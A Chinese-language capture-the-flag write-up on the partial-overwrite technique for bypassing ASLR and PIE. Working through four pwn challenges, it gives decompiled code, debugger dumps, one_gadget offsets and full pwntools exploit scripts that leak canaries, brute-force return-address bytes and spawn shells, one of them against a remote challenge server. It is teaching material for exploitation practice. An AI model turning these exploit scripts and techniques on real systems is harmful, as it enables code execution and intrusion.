根据前面的内容可以知道在开启ASLR+PIE的后,每次加载的地址是在一定的范围随机变化的,只不过由于内存页为0x1000空间大小的限制和加载后相对偏移不会变的缘故,造成了加载后的地址的最后一个半字节长度的内容是不变的。
partial write则是利用了这一点,内存是以页载入机制,如果开启PIE保护的话,只能影响到单个内存页,一个内存页大小为0x1000,那么就意味着不管地址怎么变,某一条指令的后三位十六进制数的地址是始终不变的,因此我们可以通过覆盖地址的后几位来可以控制程序的执行流。
另外,partial overwrite不仅仅可以用在栈上,同样可以用在其它随机化的场景。比如堆的随机化,由于堆起始地址低字节一定是0x00,也可以通过覆盖低位来控制堆上的偏移。
题目一
2018年安恒杯中babypie题,因为wiki中给的不是一个二进制文件,因此自己重新编译。
#include <unistd.h>
#include <stdlib.h>
void flag(){
system("cat flag");
}
void vuln(){
char buf[40];
puts("Input your Name:");
read(0, buf, 0x30);
printf("Hello %s:\n", buf);
read(0, buf, 0x60);
}
int main(int argc, char const *argv[])
{
vuln();
return 0;
}pwn@pwn-PC:~/Desktop$ gcc -fpie -pie -fstack-protector -o test-pie partial.c
pwn@pwn-PC:~/Desktop$ checksec test-pie
[*] '/home/pwn/Desktop/test-pie'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
offset = 0x28
p = process('./test-pie')
p.recvuntil("Name:\n")
payload='a' * offset
gdb.attach(p)
p.sendline(payload)
p.recvuntil('a' * offset)
p.recv(1)
canary = u64('\0' + p.recvn(7))
print hex(canary)pwn@pwn-PC:~/Desktop$ python exp.py
[+] Starting local process './test-pie': pid 28293
[DEBUG] Received 0x11 bytes:
'Input your Name:\n'
[DEBUG] Wrote gdb script to '/tmp/pwnozkM_1.gdb'
file "./test-pie"
[*] running in new terminal: /usr/bin/gdb -q "./test-pie" 28293 -x "/tmp/pwnozkM_1.gdb"
[DEBUG] Launching a new terminal: ['/usr/bin/deepin-terminal', '-x', 'sh', '-c', '/usr/bin/gdb -q "./test-pie" 28293 -x "/tmp/pwnozkM_1.gdb"']
[+] Waiting for debugger: Done
[DEBUG] Sent 0x29 bytes:
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
[DEBUG] Received 0x2f bytes:
'Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
[DEBUG] Received 0xf bytes:
00000000 77 05 28 c0 f3 64 57 20 69 4e d8 fc 7f 3a 0a │w·(·│·dW │iN··│·:·│
0000000f
0x5764f3c028057700
可以看到,sent了0x29个字符,因为buf的栈地址到canary值的地址的相距0x28个字符,再加上覆盖的canary的末尾字符总共0x29个字符,栈中覆盖情况如下:
read(0, buf, 0x30)函数执行完成后:
───────────────────────────────────[ STACK ]─────────────────────────────────────────
00:0000│ rax r8 rsp 0x7ffcd84e68d0 ◂— 0x6161616161616161 ('aaaaaaaa')
... ↓
05:0028│ 0x7ffcd84e68f8 ◂— 0x5764f3c02805770a
06:0030│ rbp 0x7ffcd84e6900 —▸ 0x7ffcd84e6920 —▸ 0x55a96ce218b0 ◂— push r15
07:0038│ 0x7ffcd84e6908 —▸ 0x55a96ce2189a ◂— mov eax, 0
─────────────────────────────────────────────────────────────────────────────────
pwndbg> x /18gx 0x7fff426083d0
0x7ffcd84e68d0: 0x6161616161616161 0x6161616161616161
0x7ffcd84e63e0: 0x6161616161616161 0x6161616161616161
0x7ffcd84e63f0: 0x6161616161616161 0x5764f3c02805770a
pwndbg> disassemble flag
Dump of assembler code for function flag:
0x00005555555547f0 <+0>: push rbp
0x00005555555547f1 <+1>: mov rbp,rsp
0x00005555555547f4 <+4>: lea rdi,[rip+0x139] # 0x555555554934
0x00005555555547fb <+11>: call 0x555555554680 <system@plt>
0x0000555555554800 <+16>: nop
0x0000555555554801 <+17>: pop rbp
0x0000555555554802 <+18>: ret
End of assembler dump.
p.recvuntil(":\n")
payload='a' * offset + p64(canary) + 'bbbbbbbb' + '\xf0\x47'
p.send(payload)可以看到RAX、Canary、ret_addr的末尾两个字节都已经成功覆盖,后面的工作就是去碰撞。
─────────────────────────────[ REGISTERS ]────────────────────────────────
RAX 0xa4c9b736e3763700
RBP 0x7ffe773d1da0 ◂— 0x6262626262626262 ('bbbbbbbb')
RSP 0x7ffe773d1d70 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
RIP 0x55cd0345386f ◂— xor rax, qword ptr fs:[0x28]
──────────────────────────────[ DISASM ]─────────────────────────────────
► 0x55cd0345386f xor rax, qword ptr fs:[0x28]
0x55cd03453878 je 0x55cd0345387f
↓
0x55cd0345387f leave
0x55cd03453880 ret
─────────────────────────── ───[ STACK ]─────────────────────────────────
00:0000│ rsi r8 rsp 0x7ffe773d1d70 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
... ↓
05:0028│ 0x7ffe773d1d98 ◂— 0xa4c9b736e3763700
06:0030│ rbp 0x7ffe773d1da0 ◂— 0x6262626262626262 ('bbbbbbbb')
07:0038│ 0x7ffe773d1da8 ◂— 0x55cd034547f0
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
offset = 0x28
while True:
try:
p = process('./test-pie')
p.recvuntil("Name:\n")
payload='a' * offset
# gdb.attach(p)
p.sendline(payload)
p.recvuntil('a' * offset)
p.recv(1)
canary = u64('\0' + p.recvn(7))
print hex(canary)
p.recvuntil(":\n")
payload='a' * offset + p64(canary) + 'bbbbbbbb' + '\xf0\x47'
p.send(payload)
flag = p.recvall()
if 'flag' in flag:
exit(0)
except Exception as e:
p.close()
print epwn@pwn-PC:~/Desktop$ python exp.py
[+] Starting local process './test-pie': pid 17736
[DEBUG] Received 0x11 bytes:
'Input your Name:\n'
[DEBUG] Sent 0x29 bytes:
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
......
[+] Receiving all data: Done (37B)
[DEBUG] Received 0x25 bytes:
'flag{23dih3879sad8dsk84ihv9fd0wnis0}\n'
[*] Process './test-pie' stopped with exit code -11 (SIGSEGV) (pid 17739)
[*] Stopped process './test-pie' (pid 17620
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v4; // [rsp+0h] [rbp-18h] gets((__int64)&v4, (__int64)a2, (__int64)a3);
return 0LL;
}
pwn@pwn-PC:~/Desktop$ checksec gets
[*] '/home/pwn/Desktop/gets'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
依然没有PIE,但是开了ASLR保护
ps:
one-gadget是glibc里调用execve('/bin/sh', NULL, NULL)的一段非常有用的gadget。在我们能够控制ip的时候,用one-gadget来做RCE(远程代码执行)非常方便,一般地,此办法在64位上常用,却在32位的libc上会很难去找,也很难用。pwn@pwn-PC:~/Desktop$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.24.so
0x3f306 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x3f35a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xd695f execve("/bin/sh", rsp+0x60, environ)
constraints:
[rsp+0x60] == NULL
pwndbg> xinfo __libc_start_main
Extended information for virtual address 0x7ffff7a5a1f0:
Containing mapping:
0x7ffff7a3a000 0x7ffff7bcf000 r-xp 195000 0 /usr/lib/x86_64-linux-gnu/libc-2.24.so
Offset information:
Mapped Area 0x7ffff7a5a1f0 = 0x7ffff7a3a000 + 0x201f0
File (Base) 0x7ffff7a5a1f0 = 0x7ffff7a3a000 + 0x201f0
File (Segment) 0x7ffff7a5a1f0 = 0x7ffff7a3a000 + 0x201f0
File (Disk) 0x7ffff7a5a1f0 = /usr/lib/x86_64-linux-gnu/libc-2.24.so + 0x201f0
pwndbg> xinfo _dl_init
Extended information for virtual address 0x7ffff7de88e0:
Containing mapping:
0x7ffff7dd9000 0x7ffff7dfc000 r-xp 23000 0 /usr/lib/x86_64-linux-gnu/ld-2.24.so
Offset information:
Mapped Area 0x7ffff7de88e0 = 0x7ffff7dd9000 + 0xf8e0
File (Base) 0x7ffff7de88e0 = 0x7ffff7dd9000 + 0xf8e0
File (Segment) 0x7ffff7de88e0 = 0x7ffff7dd9000 + 0xf8e0
File (Disk) 0x7ffff7de88e0 = /usr/lib/x86_64-linux-gnu/ld-2.24.so + 0xf8e0
pwndbg> x /10i 0x40059b
0x40059b: pop rbp
0x40059c: pop r12
0x40059e: pop r13
0x4005a0: pop r14
0x4005a2: pop r15
0x4005a4: ret
from pwn import *# context.arch = 'amd64'
# context.log_level = 'debug'
# context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
offset = 0x18
while True:
try:
p = process('./gets')
payload='a' * offset + p64(0x40059B)
payload += 'b' * 8 * 5 + p64(0x40059B) + 'c' * 8 * 5 + p64(0x40059B)
payload += 'c' * 8 * 5 + '\x06\xa3'
# gdb.attach(p)
p.sendline(payload)
p.sendline('ls')
data = p.recv()
print data
p.interactive()
p.close()
except Exception:
p.close()
continue
_BOOL8 __fastcall level(signed int a1){
__int64 v2; // rax
__int64 buf; // [rsp+10h] [rbp-30h]
__int64 v4; // [rsp+18h] [rbp-28h]
__int64 v5; // [rsp+20h] [rbp-20h]
__int64 v6; // [rsp+28h] [rbp-18h]
unsigned int v7; // [rsp+30h] [rbp-10h]
unsigned int v8; // [rsp+34h] [rbp-Ch]
unsigned int v9; // [rsp+38h] [rbp-8h]
int i; // [rsp+3Ch] [rbp-4h]
buf = 0LL;
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
if ( !a1 )
return 1LL;
if ( (unsigned int)level(a1 - 1) == 0 )
return 0LL;
v9 = rand() % a1;
v8 = rand() % a1;
v7 = v8 * v9;
puts("====================================================");
printf("Level %d\n", (unsigned int)a1);
printf("Question: %d * %d = ? Answer:", v9, v8);
for ( i = read(0, &buf, 0x400uLL); i & 7; ++i )
*((_BYTE *)&buf + i) = 0;
v2 = strtol((const char *)&buf, 0LL, 10);
return v2 == v7;
}pwn@pwn-PC:~/Desktop$ checksec 1000levels
[*] '/home/pwn/Desktop/1000levels'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
利用题目二的思路,使用partial overwrite覆盖返回地址为onegadget地址,也就是覆盖0x238距离外的0x7ffff7de896b (_dl_init+139) ,然后再利用合适的gadget(因为PIE的缘故,如果还是使用__libc_csu_init的gadget的话,需要先泄漏加载地址,此处换成vsystem里面的gadget)来移动0x238的距离进行覆盖末尾两位。但是仔细看一下程序流程发现还有一个更简单的办法, 我们上一个办法无非就是为了执行onegadget,但是在之前确定onegadget加载的地址,那么需要一个参照物,仔细看hint函数
int hint(void)
{
signed __int64 v1; // [rsp+8h] [rbp-108h]
int v2; // [rsp+10h] [rbp-100h]
__int16 v3; // [rsp+14h] [rbp-FCh]
if ( show_hint )
{
sprintf((char *)&v1, "Hint: %p\n", &system, &system);
}
else
{
v1 = 5629585671126536014LL;
v2 = 1430659151;
v3 = 78;
}
return puts((const char *)&v1);
}
0x555555554cfb <hint()+11> mov rax, qword ptr [rip + 0x2012ce]
0x555555554d02 <hint()+18> mov qword ptr [rbp - 0x110], rax
int go(void){
int v1; // ST0C_4
__int64 v2; // [rsp+0h] [rbp-120h]
__int64 v3; // [rsp+0h] [rbp-120h]
int v4; // [rsp+8h] [rbp-118h]
__int64 v5; // [rsp+10h] [rbp-110h]
signed __int64 v6; // [rsp+10h] [rbp-110h]
signed __int64 v7; // [rsp+18h] [rbp-108h]
__int64 v8; // [rsp+20h] [rbp-100h]
puts("How many levels?");
v2 = read_num();
if ( v2 > 0 )
v5 = v2;
else
puts("Coward");
puts("Any more?");
v3 = read_num();
v6 = v5 + v3;
if ( v6 > 0 ) {
if ( v6 <= 999 ){
v7 = v6;
}
else {
puts("More levels than before!");
v7 = 1000LL;
}
puts("Let's go!'");
v4 = time(0LL);
if ( (unsigned int)level(v7) != 0 ) {
v1 = time(0LL);
sprintf((char *)&v8, "Great job! You finished %d levels in %d seconds\n", v7, (unsigned int)(v1 - v4), v3);
puts((const char *)&v8);
}
else {
puts("You failed.");
}
exit(0);
}
return puts("Coward");
}
if ( v2 > 0 )
v5 = v2;
else
puts("Coward");
puts("Any more?");
v3 = read_num();
v6 = v5 + v3;
pwndbg> disassemble go
Dump of assembler code for function _Z2gov:
0x0000555555554b7c <+0>: push rbp
0x0000555555554b7d <+1>: mov rbp,rsp
0x0000555555554b80 <+4>: sub rsp,0x120
0x0000555555554b87 <+11>: lea rdi,[rip+0x506] # 0x555555555094
0x0000555555554b8e <+18>: call 0x555555554900 <puts@plt>
0x0000555555554b93 <+23>: call 0x555555554b00 <_Z8read_numv>
0x0000555555554b98 <+28>: mov QWORD PTR [rbp-0x120],rax
0x0000555555554b9f <+35>: mov rax,QWORD PTR [rbp-0x120]
0x0000555555554ba6 <+42>: test rax,rax
0x0000555555554ba9 <+45>: jg 0x555555554bb9 <_Z2gov+61>
0x0000555555554bab <+47>: lea rdi,[rip+0x4f3] # 0x5555555550a5
0x0000555555554bb2 <+54>: call 0x555555554900 <puts@plt>
0x0000555555554bb7 <+59>: jmp 0x555555554bc7 <_Z2gov+75>
0x0000555555554bb9 <+61>: mov rax,QWORD PTR [rbp-0x120]
0x0000555555554bc0 <+68>: mov QWORD PTR [rbp-0x110],rax
0x0000555555554bc7 <+75>: lea rdi,[rip+0x4de] # 0x5555555550ac
0x0000555555554bce <+82>: call 0x555555554900 <puts@plt>
0x0000555555554bd3 <+87>: call 0x555555554b00 <_Z8read_numv>
0x0000555555554bd8 <+92>: mov QWORD PTR [rbp-0x120],rax
0x0000555555554bdf <+99>: mov rdx,QWORD PTR [rbp-0x110]
0x0000555555554be6 <+106>: mov rax,QWORD PTR [rbp-0x120]
0x0000555555554bed <+113>: add rax,rdx
0x0000555555554bf0 <+116>: mov QWORD PTR [rbp-0x110],rax
......
----------------------------------------------------
0x7fffffffcb88 | 0x555555554c74 (go()+248)
----------------------------------------------------
0x7fffffffcb90 | 0x1
----------------------------------------------------
0x7fffffffcb98 | 0x555560531c95
----------------------------------------------------
0x7fffffffcba0 | 0x2
----------------------------------------------------
简单介绍一下vsyscall,现代的Windows和Unix操作系统都采用了分级保护的方式,内核代码位于R0,用户代码位于R3。执行某些操作的时候会在从用户空间切换到内核空间时需要一个介质,这介质就是系统调用,但是这一过程需要耗费一定的性能,增加了不必要的开销,vsystem就是加速某些系统调用的机制,他用来执行特定的系统调用,减少系统调用的开销,例如gettimeofday(),这样就避免了传统的系统调用模式int 0x80/syscall造成的内核空间和用户上下文空间的切换。使用gdb将vsystem这段内存dump下来拿到IDA中进行查看
seg000:0000000000000000 mov rax, 60h
seg000:0000000000000007 syscall ; Low latency system call
seg000:0000000000000009 retn
seg000:0000000000000009 ; ---------------------------------------------------------------------------
seg000:000000000000000A align 400h
seg000:0000000000000400 mov rax, 0C9h
seg000:0000000000000407 syscall ; Low latency system call
seg000:0000000000000409 retn
seg000:0000000000000409 ; ---------------------------------------------------------------------------
seg000:000000000000040A align 400h
seg000:0000000000000800 mov rax, 135h
seg000:0000000000000807 syscall ; Low latency system call
seg000:0000000000000809 retn
pwn@pwn-PC:~/Desktop$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.24.so
0x3f306 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL0x3f35a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xd695f execve("/bin/sh", rsp+0x60, environ)
constraints:
[rsp+0x60] == NULL
from pwn import *
libc = ELF("./libc.so")
# p = process('./1000levels')
p = remote('111.200.241.244',45392)
# one_gadget = 0x3f306
one_gadget = 0x4526a
system = libc.symbols['system']print r.recvuntil("Choice:\n")
p.sendline('2')
print r.recvuntil("Choice:\n")
p.sendline('1')
print r.recvuntil("How many levels?\n")
p.sendline('0')
print r.recvuntil("Any more?\n")
p.sendline(str(one_gadget-system))
def calc():
print r.recvuntil("Question: ")
num1 = int(r.recvuntil(" "))
print r.recvuntil("* ")
num2 = int(r.recvuntil(" "))
ans = num1 * num2
print r.recvuntil("Answer:")
p.sendline(str(ans))
# for i in range(999):
for i in range(99):
calc()
print p.recvuntil("Answer:")
payload = 'a' * 0x38 + p64(0xffffffffff600000) * 3
p.send(payload)
p.interactive()
题目四
2019年CISCN中your_pwn的题目,源码如下:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s; // [rsp+0h] [rbp-110h]
unsigned __int64 v5; // [rsp+108h] [rbp-8h]
v5 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
memset(&s, 0, 0x100uLL);
printf("input your name \nname:", 0LL);
read(0, &s, 0x100uLL);
while ( (unsigned int)sub_B35() );
return 0LL;
}_BOOL8 sub_B35(){
int v1; // [rsp+4h] [rbp-15Ch]
int v2; // [rsp+8h] [rbp-158h]
int i; // [rsp+Ch] [rbp-154h]
char v4[64]; // [rsp+10h] [rbp-150h]
char s; // [rsp+50h] [rbp-110h]
unsigned __int64 v6; // [rsp+158h] [rbp-8h]
v6 = __readfsqword(0x28u);
memset(&s, 0, 0x100uLL);
memset(v4, 0, 0x28uLL);
for ( i = 0; i <= 40; ++i ) {
puts("input index");
__isoc99_scanf("%d", &v1);
printf("now value(hex) %x\n", (unsigned int)v4[v1]);
puts("input new value");
__isoc99_scanf("%d", &v2);
v4[v1] = v2;
}
puts("do you want continue(yes/no)? ");
read(0, &s, 0x100uLL);
return strncmp(&s, "yes", 3uLL) == 0;
}
pwn@pwn-PC:~/Desktop$ checksec pwn
[*] '/home/pwn/Desktop/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
第一步泄漏main函数的返回地址__libc_start_main+241的地址:0x7ffff7a5a2e1,从而根据偏移拿到libc的基址 0x7ffff7a5a2e1 - 0x201f0 - 241 = 0x7ffff7a3a000。
pwn@pwn-PC:~/Desktop$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.24.so
0x3f306 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL0x3f35a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
constraints:
[rsp+0x60] == NULL
查看__libc_start_main+241末尾三个字节:
pwndbg> x /3bx 0x7fffffffcd18
0x7fffffffcd18: 0xe1 0xa2 0xa5 :0xa5a2e1使用后三位字节进行计算:
0xa5a2e1- 0x201f0 - 241 = 0xa3a000 :libc addr
0xa3a000 + 0x3f306 = 0xa79306 | onegadget addr
将onegadget addr进行写入:
0x7fffffffcd18 :0x06 :v2 = 6
0x7fffffffcd19 :0x93 :v2 = 147
0x7fffffffcd1a :0x7a :v2 = 122
写入位置:
v4[0x278] :v1 = 632
v4[0x279] :v1 = 633
v4[0x280] :v1 = 634
from pwn import *
# context.arch = 'amd64'
# context.log_level = 'debug'
# context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.24.so")
p = process('./pwn')
one_gadget = 0x3f306
libc_start_main_addr = libc.symbols['__libc_start_main']
libc_start_main_241 = 0xf1
offset = 0x278
newValue = 1
def byte(addr):
libc_start_main = ''
if(len(addr)<2):
libc_start_main = '0' + addr
elif(len(addr)==8):
libc_start_main = addr[-2:]
else:
libc_start_main = addr
return libc_start_main
p.recvuntil("name:")
p.sendline('pwn')
p.recvuntil("input index\n")
p.sendline(str(offset))
p.recvuntil("now value(hex) ")
addr = p.recvuntil('\n')[:-1]
p.sendline(str(newValue))
p.recvuntil("input index\n")
p.sendline(str(offset+1))
p.recvuntil("now value(hex) ")
addr1 = p.recvuntil('\n')[:-1]
p.sendline(str(newValue))
p.recvuntil("input index\n")
p.sendline(str(offset+2))
p.recvuntil("now value(hex) ")
addr2 = p.recvuntil('\n')[:-1]
p.sendline(str(newValue))
libc_start_main = byte(addr2) + byte(addr1) + byte(addr)
libc_addr = int('0x'+libc_start_main,16) - libc_start_main_addr - libc_start_main_241
one_gadget_addr = libc_addr + one_gadget
# print hex(one_gadget_addr)
a = int('0x'+hex(one_gadget_addr)[-2:],16)
b = int('0x'+hex(one_gadget_addr)[-4:-2],16)
c = int('0x'+hex(one_gadget_addr)[-6:-4],16)
# gdb.attach(p)
p.recvuntil("input index\n")
p.sendline(str(offset))
p.recvuntil("now value(hex) ")
addr = p.recvuntil('\n')[:-1]
p.sendline(str(a))
p.recvuntil("input index\n")
p.sendline(str(offset+1))
p.recvuntil("now value(hex) ")
addr1 = p.recvuntil('\n')[:-1]
p.sendline(str(b))
p.recvuntil("input index\n")
p.sendline(str(offset+2))
p.recvuntil("now value(hex) ")
addr2 = p.recvuntil('\n')[:-1]
p.sendline(str(c))
p.recvuntil("input index\n")
p.sendline('a')
p.interactive()
👇点击阅读原文,成为靶场实战一员!